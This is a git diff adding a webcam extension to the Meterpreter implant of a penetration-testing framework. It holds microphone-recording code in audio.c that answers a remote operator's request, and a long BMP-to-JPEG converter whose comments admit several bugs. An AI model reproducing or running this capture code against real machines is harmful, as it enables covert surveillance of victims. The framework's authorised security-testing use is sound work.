diff --git a/data/meterpreter/ext_server_webcam.dll b/data/meterpreter/ext_server_webcam.dll new file mode 100644 index 0000000000..1ff52f2a28 Binary files /dev/null and b/data/meterpreter/ext_server_webcam.dll differ diff --git a/external/source/meterpreter/source/extensions/webcam/audio.c b/external/source/meterpreter/source/extensions/webcam/audio.c new file mode 100644 index 0000000000..eb4cb6c367 --- /dev/null +++ b/external/source/meterpreter/source/extensions/webcam/audio.c @@ -0,0 +1,107 @@ +#define _CRT_SECURE_NO_DEPRECATE 1 +#include "../../common/common.h" +#include +#include +#include +#include +#include +#include +#include "webcam.h" + + +#pragma comment(lib, "vfw32.lib") +#pragma comment(lib, "winmm.lib") + +#define capSendMessage(hWnd, uMsg, wParm, lParam) ((IsWindow(hWnd)) ? SendMessage(hWnd, uMsg, (WPARAM)(wParm), (LPARAM)(lParam)) : 0) + +BOOL capmicaudio(char *szFile, int millisecs) +{ + UINT wDeviceID; + DWORD dwReturn; + MCI_OPEN_PARMS mciOpenParms; + MCI_RECORD_PARMS mciRecordParms; + MCI_SAVE_PARMS mciSaveParms; + MCI_PLAY_PARMS mciPlayParms; + DWORD dwMilliSeconds; + + dwMilliSeconds = millisecs; + + // Open a waveform-audio device with a new file for recording. + mciOpenParms.lpstrDeviceType = "waveaudio"; + mciOpenParms.lpstrElementName = ""; + if (dwReturn = mciSendCommand(0, MCI_OPEN,MCI_OPEN_ELEMENT | MCI_OPEN_TYPE,(DWORD)(LPVOID) &mciOpenParms)) + { + // Failed to open device; don't close it, just return error. + return (dwReturn); + } + + // The device opened successfully; get the device ID. + wDeviceID = mciOpenParms.wDeviceID; + + mciRecordParms.dwTo = dwMilliSeconds; + if (dwReturn = mciSendCommand(wDeviceID, MCI_RECORD, + MCI_TO | MCI_WAIT, (DWORD)(LPVOID) &mciRecordParms)) + { + mciSendCommand(wDeviceID, MCI_CLOSE, 0, (DWORD_PTR)0 ); + return (dwReturn); + } + + // Play the recording and query user to save the file. + mciPlayParms.dwFrom = 0L; + + // Save the recording to a file. Wait for + // the operation to complete before continuing. + mciSaveParms.lpfilename = szFile; + if (dwReturn = mciSendCommand(wDeviceID, MCI_SAVE, MCI_SAVE_FILE | MCI_WAIT, (DWORD)(LPVOID) &mciSaveParms)) + { + mciSendCommand(wDeviceID, MCI_CLOSE, 0, (DWORD_PTR)0 ); + return (dwReturn); + } + + return (0L); +} + + + + +int __declspec(dllexport) controlmic(char **waveresults, int msecs) { + DWORD dwError = 0; + char *wavestring = NULL; + + /* METERPRETER CODE */ + // char buffer[100]; + /* END METERPRETER CODE */ + + capmicaudio("C:\\test.wav", msecs); + + *waveresults = wavestring; + + /* return the correct code */ + return dwError; +} + + +/* + * Grabs the audio from mic. + */ +DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet) +{ + Packet *response = packet_create_response(packet); + DWORD res = ERROR_SUCCESS; + char *wave = NULL; + + if (controlmic(&wave,packet_get_tlv_value_uint(packet, TLV_TYPE_DEV_RECTIME))) + { + res = GetLastError(); + } + + //packet_add_tlv_string(response, TLV_TYPE_DEV_AUDIO, wave); + + + packet_transmit_response(res, remote, response); + + if (wave) + free(wave); + + return res; +} diff --git a/external/source/meterpreter/source/extensions/webcam/audio.h b/external/source/meterpreter/source/extensions/webcam/audio.h new file mode 100644 index 0000000000..4f1ef76bf9 --- /dev/null +++ b/external/source/meterpreter/source/extensions/webcam/audio.h @@ -0,0 +1,6 @@ +#ifndef _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_AUDIO_H +#define _METERPRETER_SOURCE_EXTENSION_ESPIA_ESPIA_SERVER_AUDIO_H + +DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet); + +#endif diff --git a/external/source/meterpreter/source/extensions/webcam/bmp2jpeg.c b/external/source/meterpreter/source/extensions/webcam/bmp2jpeg.c new file mode 100644 index 0000000000..bc8a2e6925 --- /dev/null +++ b/external/source/meterpreter/source/extensions/webcam/bmp2jpeg.c @@ -0,0 +1,767 @@ +#define WIN32_LEAN_AND_MEAN +#include +#include "bmp2jpeg.h" + +/* + * Please Note: bmp2jpeg.c and bmp2jpeg.h have been coppied over from screen.c + * screen.h in the espia extension. The origional author of espia is Efrain Torres + * and a patch for JPEG suport was provided by Brett Blackham. + * These were further slightly modified by scriptjunkie to work better with the + * webcam extension. + */ + +/* Function modified to store bitmap in memory. et [ ] metasploit.com +====================================================================== + + Saves a bitmap to a file + + The following function was adopted from pywin32, and is thus under the +following copyright: + + Copyright (c) 1994-2008, Mark Hammond + All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + + Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in + the documentation and/or other materials provided with the distribution. + + Neither name of Mark Hammond nor the name of contributors may be used + to endorse or promote products derived from this software without + specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS + IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +*/ + +/* + * The JPEG lib is from the Independent JPEG Group (IJG) + * http://www.ijg.org/ + * + * The jpeg lib included in source/jpeg-8/ has a small modification to the + * rdbmp.c example to support 32 BMP files. That modification was submitted + * to the IJG to be included in future releases. The only other change to + * JPEG library was to the makefile so the library would link to + * meterperter without warning/error. + * + * Most the JPEG code used in espia is taken from the rdbmp.c example from + * source/jpeg-8/. + * + * from the JPEG README: + * You are welcome to redistribute this software and + * to use it for any purpose, subject to the conditions under LEGAL ISSUES, below. + * + * ... + * + * This software is the work of Tom Lane, Guido Vollbeding, Philip Gladstone, + * Bill Allombert, Jim Boucher, Lee Crocker, Bob Friesenhahn, Ben Jackson, + * Julian Minguillon, Luis Ortiz, George Phillips, Davide Rossi, Ge' Weijers, + * and other members of the Independent JPEG Group. + * + * + * LEGAL ISSUES + * ============ + * + * In plain English: + * + * 1. We don't promise that this software works. (But if you find any bugs, + * please let us know!) + * 2. You can use this software for whatever you want. You don't have to pay us. + * 3. You may not pretend that you wrote this software. If you use it in a + * program, you must acknowledge somewhere in your documentation that + * you've used the IJG code. + * + * (The "non-english" version can be found in the ../../srouce/jpeg-8/README file) + */ + + +#ifdef HAVE_UNSIGNED_CHAR +typedef unsigned char U_CHAR; +#define UCH(x) ((int) (x)) +#else /* !HAVE_UNSIGNED_CHAR */ +#ifdef CHAR_IS_UNSIGNED +typedef char U_CHAR; +#define UCH(x) ((int) (x)) +#else +typedef char U_CHAR; +#define UCH(x) ((int) (x) & 0xFF) +#endif +#endif /* HAVE_UNSIGNED_CHAR */ + + +/* + * This function taken from the JPEG-8 example file rdbmp.c provided a + * platform idenependant way to read files... + * But, we "reading" from memory. So, return the current byte + * in the buf and inc the pointer so it "feels" like an fopen read. + */ +int ReadOK(bmp_source_ptr sinfo, char* buffer,int len) +{ + memcpy(buffer, sinfo->pub.input_buf + sinfo->pub.read_offset, len); + sinfo->pub.read_offset += len; + return 1; // yeah, it always works cuz I say so.. +} + +/* + * Like ReadOK, this would read from a file. But we aren't reading a file. + * So, return the current byte in the buf and inc the pointer. + * WARNING: I don't think this function is working. (My guess: read_offset++) + * However, it just so happens since Windows 7 (and I think all the windows) + * screenshots always return a 32 bit BMP, the code never calls this function. + * + */ +int read_byte (bmp_source_ptr sinfo) +{ + return (int)sinfo->pub.input_buf + sinfo->pub.read_offset++; +} + +/* + * Since I think windows screenshot is always a 32bit BMP this function + * will never be used, however, I am leaving it here in case there is a + * version of windows that does return a 8bit indexed BMP. Once it is + * confirmed that all windows use 32bit BMPs, I'll remove this. + * + * How does a BMP look you ask? + * see: http://local.wasp.uwa.edu.au/~pbourke/dataformats/bitmaps/ + */ +void read_colormap (bmp_source_ptr sinfo, int cmaplen, int mapentrysize) +{ + int i; + + switch (mapentrysize) { + case 3: + /* BGR format (occurs in OS/2 files) */ + for (i = 0; i < cmaplen; i++) { + sinfo->colormap[2][i] = (JSAMPLE) read_byte(sinfo); + sinfo->colormap[1][i] = (JSAMPLE) read_byte(sinfo); + sinfo->colormap[0][i] = (JSAMPLE) read_byte(sinfo); + } + break; + case 4: + /* BGR0 format (occurs in MS Windows files) */ + for (i = 0; i < cmaplen; i++) { + sinfo->colormap[2][i] = (JSAMPLE) read_byte(sinfo); + sinfo->colormap[1][i] = (JSAMPLE) read_byte(sinfo); + sinfo->colormap[0][i] = (JSAMPLE) read_byte(sinfo); + (void) read_byte(sinfo); + } + break; + default: + return; //ERREXIT(sinfo->cinfo, JERR_BMP_BADCMAP); + break; + } +} + +/* + * Used to help convert 16 bit BMP + * Taken from: http://bytes.com/topic/c/answers/552128-how-convert-16-bit-565-rgb-value-32-bit + * + * BUG: I haven't been able to figure out the correct format of the BMP in memory. + * Not sure if its 565 or 555. Nor am I sure if its rgb or bgr or what. Also + * I can't say I'm sure which order the two 8 bits that make up the unsigned + * short "a" should come in. As it is now, this will send back a valid JPEG. + * But, the colors won't be exact. + */ +unsigned long rgb16_to_rgb32(unsigned short a) +{ +/* 1. Extract the red, green and blue values */ + +/* (555) from bbbb bggg ggrr rrr0 */ +unsigned long b = (a & 0xF800) >> 11; +unsigned long g = (a & 0x07C0) >> 6; +unsigned long r = (a & 0x003E) >> 1; + +/* (565) from rrrr rggg gggb bbbb */ +// unsigned long r = (a & 0xF800) >> 11; +// unsigned long g = (a & 0x07E0) >> 5; +// unsigned long b = (a & 0x001F); + +/* (555) from 0rrr rrgg gggb bbbb */ +// unsigned long r = (a & 0x7C00) >> 10; +// unsigned long g = (a & 0x03E0) >> 5; +// unsigned long b = (a & 0x001F); + +/* (555) from 0bbb bbgg gggr rrrr */ +//unsigned long b = (a & 0x7C00) >> 10; +//unsigned long g = (a & 0x03E0) >> 5; +//unsigned long r = (a & 0x001F); + + +/* (555) from rrrr rggg ggbb bbb0 */ +//unsigned long r = (a & 0xF800) >> 11; +//unsigned long g = (a & 0x07C0) >> 6; +//unsigned long b = (a & 0x003E) >> 1; + +/* (565) from bbbb bggg gggr rrrr */ +//unsigned long b = (a & 0xF800) >> 11; +//unsigned long g = (a & 0x07E0) >> 5; +//unsigned long r = (a & 0x001F); + +/* 2. Convert them to 0-255 range: +There is more than one way. You can just shift them left: +to 00000000 rrrrr000 gggggg00 bbbbb000 +r <<= 3; +g <<= 2; +b <<= 3; +But that means your image will be slightly dark and +off-colour as white 0xFFFF will convert to F8,FC,F8 +So instead you can scale by multiply and divide: */ +r <<= 3; +//g <<= 2; //(565) +g <<=3; //(555) +b <<= 3; +//r = r * 255 / 31; +//g = g * 255 / 63; //(565) +////g = g * 255 / 31; //(555) +//b = b * 255 / 31; +/* This ensures 31/31 converts to 255/255 */ + +/* 3. Construct your 32-bit format (this is 0RGB): */ +//return (r << 16) | (g << 8) | b; + +// This is 0RBG?? Yeah, it makes no sense to me either. +return (r << 16) | (b << 8) | g; + +/* Or for BGR0: */ +//return (r << 8) | (g << 16) | (b << 24); + +} + + + +/* + * Read one row of pixels. + * The image has been read into the whole_image array, but is otherwise + * unprocessed. We must read it out in top-to-bottom row order, and if + * it is an 8-bit image, we must expand colormapped pixels to 24bit format. + * + * NOTE: Again, windows might only ever use 32bit BMP's making this function + * useless. However, I'll leave it here until I can confirm that. + * + * NOTE: cjpeg_source_ptr sinfo is really a BMP ptr. + */ + +JDIMENSION get_8bit_row (j_compress_ptr cinfo, cjpeg_source_ptr sinfo) +/* This version is for reading 8-bit colormap indexes */ +{ + bmp_source_ptr source = (bmp_source_ptr) sinfo; + register JSAMPARRAY colormap = source->colormap; + JSAMPARRAY image_ptr; + register int t; + register JSAMPROW inptr, outptr; + register JDIMENSION col; + + /* Fetch next row from virtual array */ + source->source_row--; + image_ptr = (*cinfo->mem->access_virt_sarray) + ((j_common_ptr) cinfo, source->whole_image, + source->source_row, (JDIMENSION) 1, FALSE); + + /* Expand the colormap indexes to real data */ + inptr = image_ptr[0]; + outptr = source->pub.buffer[0]; + for (col = cinfo->image_width; col > 0; col--) { + t = GETJSAMPLE(*inptr++); + *outptr++ = colormap[0][t]; /* can omit GETJSAMPLE() safely */ + *outptr++ = colormap[1][t]; + *outptr++ = colormap[2][t]; + } + + return 1; +} + +/* + * + * NOTE: Damn it, windows uses what ever the colors option is set to- + * High Color (16 bit) + * True Color (32 bit) + * Who the hell would use High Color? PDA's? + * + * NOTE: cjpeg_source_ptr sinfo is really a BMP ptr. + * + * Dev notes: + * http://www.winehq.org/pipermail/wine-patches/2005-August/020010.html + * http://www.cpp-home.com/tutorials/246_2.htm + * http://bytes.com/topic/c/answers/552128-how-convert-16-bit-565-rgb-value-32-bit + */ + +JDIMENSION get_16bit_row (j_compress_ptr cinfo, cjpeg_source_ptr sinfo) +{ + bmp_source_ptr source = (bmp_source_ptr) sinfo; + JSAMPARRAY image_ptr; + register JSAMPROW inptr, outptr; + register JDIMENSION col; + unsigned long bit32_pix; + char a,b; + char *pix_ptr; + /* Fetch next row from virtual array */ + source->source_row--; + image_ptr = (*cinfo->mem->access_virt_sarray) + ((j_common_ptr) cinfo, source->whole_image, + source->source_row, (JDIMENSION) 1, FALSE); + + /* Transfer data. Note source values are in BGR order + * (even though Microsoft's own documents say the opposite). + */ + inptr = image_ptr[0]; + outptr = source->pub.buffer[0]; + for (col = cinfo->image_width; col > 0; col--) { + // Need to pull 16 bits at a time. + a = *inptr++; // First 8 + b = *inptr++; // Second 8 + bit32_pix = rgb16_to_rgb32( a << 8 | b ); //Send all 16bits to be converted + pix_ptr = (char *)&bit32_pix; + outptr[2] = *pix_ptr++; + outptr[1] = *pix_ptr++; + outptr[0] = *pix_ptr++; + outptr += 3; + } + + return 1; +} + + + +/* + * + * NOTE: Again, windows might only ever use 32bit BMP's making this function + * useless. However, I'll leave it here until I can confirm that. + * + * NOTE: cjpeg_source_ptr sinfo is really a BMP ptr. + */ + +JDIMENSION get_24bit_row (j_compress_ptr cinfo, cjpeg_source_ptr sinfo) +/* This version is for reading 24-bit pixels */ +{ + bmp_source_ptr source = (bmp_source_ptr) sinfo; + JSAMPARRAY image_ptr; + register JSAMPROW inptr, outptr; + register JDIMENSION col; + + /* Fetch next row from virtual array */ + source->source_row--; + image_ptr = (*cinfo->mem->access_virt_sarray) + ((j_common_ptr) cinfo, source->whole_image, + source->source_row, (JDIMENSION) 1, FALSE); + + /* Transfer data. Note source values are in BGR order + * (even though Microsoft's own documents say the opposite). + */ + inptr = image_ptr[0]; + outptr = source->pub.buffer[0]; + for (col = cinfo->image_width; col > 0; col--) { + outptr[2] = *inptr++; /* can omit GETJSAMPLE() safely */ + outptr[1] = *inptr++; + outptr[0] = *inptr++; + outptr += 3; + } + + return 1; +} + +/* + * + * NOTE: Again, windows might only ever use 32bit BMP's making this function + * useless. However, I'll leave it here until I can confirm that. + * + * NOTE: cjpeg_source_ptr sinfo is really a BMP ptr. + */ +JDIMENSION get_32bit_row (j_compress_ptr cinfo, cjpeg_source_ptr sinfo) +/* This version is for reading 32-bit pixels */ +{ + bmp_source_ptr source = (bmp_source_ptr) sinfo; + JSAMPARRAY image_ptr; + register JSAMPROW inptr, outptr; + register JDIMENSION col; + + /* Fetch next row from virtual array */ + source->source_row--; + image_ptr = (*cinfo->mem->access_virt_sarray) + ((j_common_ptr) cinfo, source->whole_image, + source->source_row, (JDIMENSION) 1, FALSE); + /* Transfer data. Note source values are in BGR order + * (even though Microsoft's own documents say the opposite). + */ + inptr = image_ptr[0]; + outptr = source->pub.buffer[0]; + for (col = cinfo->image_width; col > 0; col--) { + outptr[2] = *inptr++; /* can omit GETJSAMPLE() safely */ + outptr[1] = *inptr++; + outptr[0] = *inptr++; + *inptr++; // Skip the 4th bit (Alpha Channel) + outptr += 3; + } + return 1; +} + + +/* + * This method loads the image into whole_image during the first call on + * get_pixel_rows. The get_pixel_rows pointer is then adjusted to call + * get_8bit_row, get_24bit_row or get_32bit_row on subsequent calls. + * This will not copy the image header info. Just the raw image data. + */ +JDIMENSION preload_image (j_compress_ptr cinfo, cjpeg_source_ptr sinfo) +{ + bmp_source_ptr source = (bmp_source_ptr) sinfo; +// register FILE *infile = source->pub.input_file; +// register int c; + register JSAMPROW out_ptr; + JSAMPARRAY image_ptr; + JDIMENSION row; + + /* Read the data into a virtual array in input-file row order. */ + + + for (row = 0; row < cinfo->image_height; row++) { + image_ptr = (*cinfo->mem->access_virt_sarray) + ((j_common_ptr) cinfo, source->whole_image, + row, (JDIMENSION) 1, TRUE); + out_ptr = image_ptr[0]; + + // Copy the bmp data + memcpy(out_ptr, source->pub.input_buf + source->pub.read_offset, source->row_width); + source->pub.read_offset += source->row_width; + } + + /* Set up to read from the virtual array in top-to-bottom order */ + switch (source->bits_per_pixel) { + case 8: + source->pub.get_pixel_rows = get_8bit_row; + break; + case 16: + source->pub.get_pixel_rows = get_16bit_row; + break; + case 24: + source->pub.get_pixel_rows = get_24bit_row; + break; + case 32: + source->pub.get_pixel_rows = get_32bit_row; + break; + default: + return 0; //ERREXIT(cinfo, JERR_BMP_BADDEPTH); + } + source->source_row = cinfo->image_height; + + /* And read the first row */ + return (*source->pub.get_pixel_rows) (cinfo, sinfo); +} + + +/* + * Read the file header; return image size and component count. + * A lot of this could might be safe to remove since we might + * only ever be using 32bit Windows BMP images. UPDATE: or 16bit BMPs + */ +void start_input_bmp (j_compress_ptr cinfo, cjpeg_source_ptr sinfo) +{ + bmp_source_ptr source = (bmp_source_ptr) sinfo; + U_CHAR bmpfileheader[14]; + U_CHAR bmpinfoheader[64]; +#define GET_2B(array,offset) ((unsigned int) UCH(array[offset]) + \ + (((unsigned int) UCH(array[offset+1])) << 8)) +#define GET_4B(array,offset) ((INT32) UCH(array[offset]) + \ + (((INT32) UCH(array[offset+1])) << 8) + \ + (((INT32) UCH(array[offset+2])) << 16) + \ + (((INT32) UCH(array[offset+3])) << 24)) + INT32 bfOffBits; + INT32 headerSize; + INT32 biWidth; + INT32 biHeight; + unsigned int biPlanes; + INT32 biCompression; + INT32 biXPelsPerMeter,biYPelsPerMeter; + INT32 biClrUsed = 0; + int mapentrysize = 0; /* 0 indicates no colormap */ + INT32 bPad; + JDIMENSION row_width; + + /* Read and verify the bitmap file header */ + // Its a bitmap... I just made it.. But, if you findout otherwise + // return without an error message.. Better than a crash I guess. + + if (! ReadOK(source, bmpfileheader, 14)) + return; //ERREXIT(cinfo, JERR_INPUT_EOF); + if (GET_2B(bmpfileheader,0) != 0x4D42) /* 'BM' */ + return; //ERREXIT(cinfo, JERR_BMP_NOT); + bfOffBits = (INT32) GET_4B(bmpfileheader,10); + /* We ignore the remaining fileheader fields */ + + /* The infoheader might be 12 bytes (OS/2 1.x), 40 bytes (Windows), + * or 64 bytes (OS/2 2.x). Check the first 4 bytes to find out which. + * + * Read the first for bytes to figure out how big the header is. + * The read the rest of the header (once we know its size) + */ + if (! ReadOK(source, bmpinfoheader, 4)) + return; //ERREXIT(cinfo, JERR_INPUT_EOF); + headerSize = (INT32) GET_4B(bmpinfoheader,0); + + + if (headerSize < 12 || headerSize > 64) + return; //ERREXIT(cinfo, JERR_BMP_BADHEADER); + if (! ReadOK(source, bmpinfoheader+4, headerSize-4)) // Read the rest of the header + return; //ERREXIT(cinfo, JERR_INPUT_EOF); + + switch ((int) headerSize) { + case 12: + /* Decode OS/2 1.x header (Microsoft calls this a BITMAPCOREHEADER) */ + biWidth = (INT32) GET_2B(bmpinfoheader,4); + biHeight = (INT32) GET_2B(bmpinfoheader,6); + biPlanes = GET_2B(bmpinfoheader,8); + source->bits_per_pixel = (int) GET_2B(bmpinfoheader,10); + + switch (source->bits_per_pixel) { + case 8: /* colormapped image */ + mapentrysize = 3; /* OS/2 uses RGBTRIPLE colormap */ + //TRACEMS2(cinfo, 1, JTRC_BMP_OS2_MAPPED, (int) biWidth, (int) biHeight); + break; + case 24: /* RGB image */ + //TRACEMS2(cinfo, 1, JTRC_BMP_OS2, (int) biWidth, (int) biHeight); + break; + default: + //ERREXIT(cinfo, JERR_BMP_BADDEPTH); + break; + } + break; + case 40: // When using "High color" + biWidth = (INT32) GET_4B(bmpinfoheader,4); + biHeight = (INT32) GET_4B(bmpinfoheader,8); + biPlanes = GET_2B(bmpinfoheader,12); + source->bits_per_pixel = (int) GET_2B(bmpinfoheader,14); + biCompression = GET_4B(bmpinfoheader,16); + biXPelsPerMeter = GET_4B(bmpinfoheader,24); + biYPelsPerMeter = GET_4B(bmpinfoheader,28); + biClrUsed = GET_4B(bmpinfoheader,32); + + if (biCompression != 0) + return; + + if (biXPelsPerMeter > 0 && biYPelsPerMeter > 0) { + /* Set JFIF density parameters from the BMP data */ + cinfo->X_density = (UINT16) (biXPelsPerMeter/100); /* 100 cm per meter */ + cinfo->Y_density = (UINT16) (biYPelsPerMeter/100); + cinfo->density_unit = 2; /* dots/cm */ + } + break; + case 64: // This is the one we get on 32bit Windows 7 from GDI + /* Decode Windows 3.x header (Microsoft calls this a BITMAPINFOHEADER) */ + /* or OS/2 2.x header, which has additional fields that we ignore */ + biWidth = GET_4B(bmpinfoheader,4); + biHeight = GET_4B(bmpinfoheader,8); + biPlanes = GET_2B(bmpinfoheader,12); + source->bits_per_pixel = (int) GET_2B(bmpinfoheader,14); + biCompression = GET_4B(bmpinfoheader,16); + biXPelsPerMeter = GET_4B(bmpinfoheader,24); + biYPelsPerMeter = GET_4B(bmpinfoheader,28); + biClrUsed = GET_4B(bmpinfoheader,32); + /* biSizeImage, biClrImportant fields are ignored */ + + switch (source->bits_per_pixel) { + case 8: /* colormapped image */ + mapentrysize = 4; /* Windows uses RGBQUAD colormap */ + // TRACEMS2(cinfo, 1, JTRC_BMP_MAPPED, (int) biWidth, (int) biHeight); + break; + case 24: /* RGB image */ + // TRACEMS2(cinfo, 1, JTRC_BMP, (int) biWidth, (int) biHeight); + break; + case 32: /* RGB image + Alpha Channel */ + // TRACEMS2(cinfo, 1, JTRC_BMP, (int) biWidth, (int) biHeight); + break; + default: + return; //ERREXIT(cinfo, JERR_BMP_BADDEPTH); + break; + } + if (biCompression != 0) + return; //ERREXIT(cinfo, JERR_BMP_COMPRESSED); + + if (biXPelsPerMeter > 0 && biYPelsPerMeter > 0) { + /* Set JFIF density parameters from the BMP data */ + cinfo->X_density = (UINT16) (biXPelsPerMeter/100); /* 100 cm per meter */ + cinfo->Y_density = (UINT16) (biYPelsPerMeter/100); + cinfo->density_unit = 2; /* dots/cm */ + } + break; + default: + return; //ERREXIT(cinfo, JERR_BMP_BADHEADER); + return; + } + + if (biWidth <= 0 || biHeight <= 0) + return; //ERREXIT(cinfo, JERR_BMP_EMPTY); + if (biPlanes != 1) + return; //ERREXIT(cinfo, JERR_BMP_BADPLANES); + + /* Compute distance to bitmap data --- will adjust for colormap below */ + bPad = bfOffBits - (headerSize + 14); + + /* Read the colormap, if any */ + if (mapentrysize > 0) { + if (biClrUsed <= 0) + biClrUsed = 256; /* assume it's 256 */ + else if (biClrUsed > 256) + return; //ERREXIT(cinfo, JERR_BMP_BADCMAP); + /* Allocate space to store the colormap */ + source->colormap = (*cinfo->mem->alloc_sarray) + ((j_common_ptr) cinfo, JPOOL_IMAGE, + (JDIMENSION) biClrUsed, (JDIMENSION) 3); + /* and read it from the file */ + read_colormap(source, (int) biClrUsed, mapentrysize); + /* account for size of colormap */ + bPad -= biClrUsed * mapentrysize; + } + + /* Skip any remaining pad bytes */ + if (bPad < 0) /* incorrect bfOffBits value? */ + return; //ERREXIT(cinfo, JERR_BMP_BADHEADER); + // Not reading a file... so, just jump to the start.. + // No need to read_byte as an fseek hack. + source->pub.read_offset = bfOffBits; + //while (--bPad >= 0) { + // (void) read_byte(source); + //} + + /* Compute row width in file, including padding to 4-byte boundary */ + if (source->bits_per_pixel == 16) + row_width = (JDIMENSION) (biWidth * 2); + else if (source->bits_per_pixel == 24) + row_width = (JDIMENSION) (biWidth * 3); + else if (source->bits_per_pixel == 32) + row_width = (JDIMENSION) (biWidth * 4); + else + row_width = (JDIMENSION) biWidth; + while ((row_width & 3) != 0) row_width++; + source->row_width = row_width; + + /* Allocate space for inversion array, prepare for preload pass */ + source->whole_image = (*cinfo->mem->request_virt_sarray) + ((j_common_ptr) cinfo, JPOOL_IMAGE, FALSE, + row_width, (JDIMENSION) biHeight, (JDIMENSION) 1); + source->pub.get_pixel_rows = preload_image; + + /* Allocate one-row buffer for returned data */ + source->pub.buffer = (*cinfo->mem->alloc_sarray) + ((j_common_ptr) cinfo, JPOOL_IMAGE, + (JDIMENSION) (biWidth * 3), (JDIMENSION) 1); + source->pub.buffer_height = 1; + + cinfo->in_color_space = JCS_RGB; + cinfo->input_components = 3; + cinfo->data_precision = 8; + cinfo->image_width = (JDIMENSION) biWidth; + cinfo->image_height = (JDIMENSION) biHeight; + +} + + +/* + * Finish up at the end of the file. + */ + +void finish_input_bmp (j_compress_ptr cinfo, cjpeg_source_ptr sinfo) +{ + /* no work */ +} + + +/* + * The module selection routine for BMP format input. + */ +cjpeg_source_ptr jinit_read_bmp (j_compress_ptr cinfo) +{ + + bmp_source_ptr source; + /* Create module interface object */ + source = (bmp_source_ptr) + (*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE, + SIZEOF(bmp_source_struct)); + source->cinfo = cinfo; /* make back link for subroutines */ + /* Fill in method ptrs, except get_pixel_rows which start_input sets */ + source->pub.start_input = start_input_bmp; + source->pub.finish_input = finish_input_bmp; + + return (cjpeg_source_ptr) source; +} + + +/* + * See: http://msdn.microsoft.com/en-us/library/dd145119%28VS.85%29.aspx + * This function was copied from the MSDN example. + * It was then modified to send the BMP data rather than save to disk + * It was then modified to conver the BMP to JPEG and send + * Now its realy big. + */ +int bmp2jpeg(PBYTE buf, int quality, BYTE ** buf_jpeg, DWORD * buf_jpeg_size ) +{ + + // Convert to JPEG stuff + struct jpeg_compress_struct cinfo; + struct jpeg_error_mgr jerr; + cjpeg_source_ptr src_mgr; + JDIMENSION num_scanlines; + + + // JPEG conversion start here..' + // buf is a pointer to a BMP in memory. + + /* Initialize JPEG parameters. + * Much of this may be overridden later. + * We need to provide some value for jpeg_set_defaults() to work. + */ + + cinfo.err = jpeg_std_error(&jerr); + jpeg_create_compress(&cinfo); + cinfo.in_color_space = JCS_RGB; /* arbitrary guess */ + jpeg_set_defaults(&cinfo); + + src_mgr = jinit_read_bmp(&cinfo); //Returns a cjpeg_source_ptr but is really bmp_source_ptr... + + src_mgr->input_buf = buf; + src_mgr->read_offset = 0; + /* Read the input file header to obtain file size & colorspace. */ + + start_input_bmp(&cinfo, src_mgr); + + jpeg_default_colorspace(&cinfo); + + // TODO: accept options from the command line for grayscale and quality. + /* Go GRAYSCALE */ + //jpeg_set_colorspace(&cinfo, JCS_GRAYSCALE); + /* Quality */ + jpeg_set_quality(&cinfo, quality, FALSE); + + // Write the compressed JPEG to memory: bug_jpeg + jpeg_mem_dest(&cinfo, buf_jpeg, buf_jpeg_size); + + /* Start compressor */ + jpeg_start_compress(&cinfo, TRUE); + + /* Process data */ + while (cinfo.next_scanline < cinfo.image_height) { + num_scanlines = (*src_mgr->get_pixel_rows) (&cinfo, src_mgr); + (void) jpeg_write_scanlines(&cinfo, src_mgr->buffer, num_scanlines); + } + + /* Finish compression and release memory */ + (*src_mgr->finish_input) (&cinfo, src_mgr); + jpeg_finish_compress(&cinfo); + jpeg_destroy_compress(&cinfo); + + return 1; +} diff --git a/external/source/meterpreter/source/extensions/webcam/bmp2jpeg.h b/external/source/meterpreter/source/extensions/webcam/bmp2jpeg.h new file mode 100644 index 0000000000..3c5daa21f6 --- /dev/null +++ b/external/source/meterpreter/source/extensions/webcam/bmp2jpeg.h @@ -0,0 +1,73 @@ +#ifndef _METERPRETER_SOURCE_SCREENSHOT_JPEG_H +#define _METERPRETER_SOURCE_SCREENSHOT_JPEG_H + +#include "jinclude.h" +#include "jpeglib.h" +#include "jerror.h" + +/* + * Object interface for cjpeg's source file decoding modules + * This is the structure used to handle the converstion to a JPEG + * The code "borrowed" from rdbmp.c example also uses this struct + * to reference a BMP, then uses type casting trickery to change it. + * All I have to say is "Just because you can do soemthing doesn't + * mean you should do it". But it works, and I'm too lazy to make it + * easier to "read". So a heads up, when you see a cjpeg_source being + * tossed around, it might really be a BMP. + * + * This structure was modified from the IJG's example to support + * conversion in memory without using disk. + */ +typedef struct cjpeg_source_struct * cjpeg_source_ptr; + +struct cjpeg_source_struct { + JMETHOD(void, start_input, (j_compress_ptr cinfo, + cjpeg_source_ptr sinfo)); + JMETHOD(JDIMENSION, get_pixel_rows, (j_compress_ptr cinfo, + cjpeg_source_ptr sinfo)); + JMETHOD(void, finish_input, (j_compress_ptr cinfo, + cjpeg_source_ptr sinfo)); + + TCHAR *input_buf; + UINT read_offset; + + JSAMPARRAY buffer; + JDIMENSION buffer_height; +}; + +/* Private version of data source object */ + +typedef struct _bmp_source_struct * 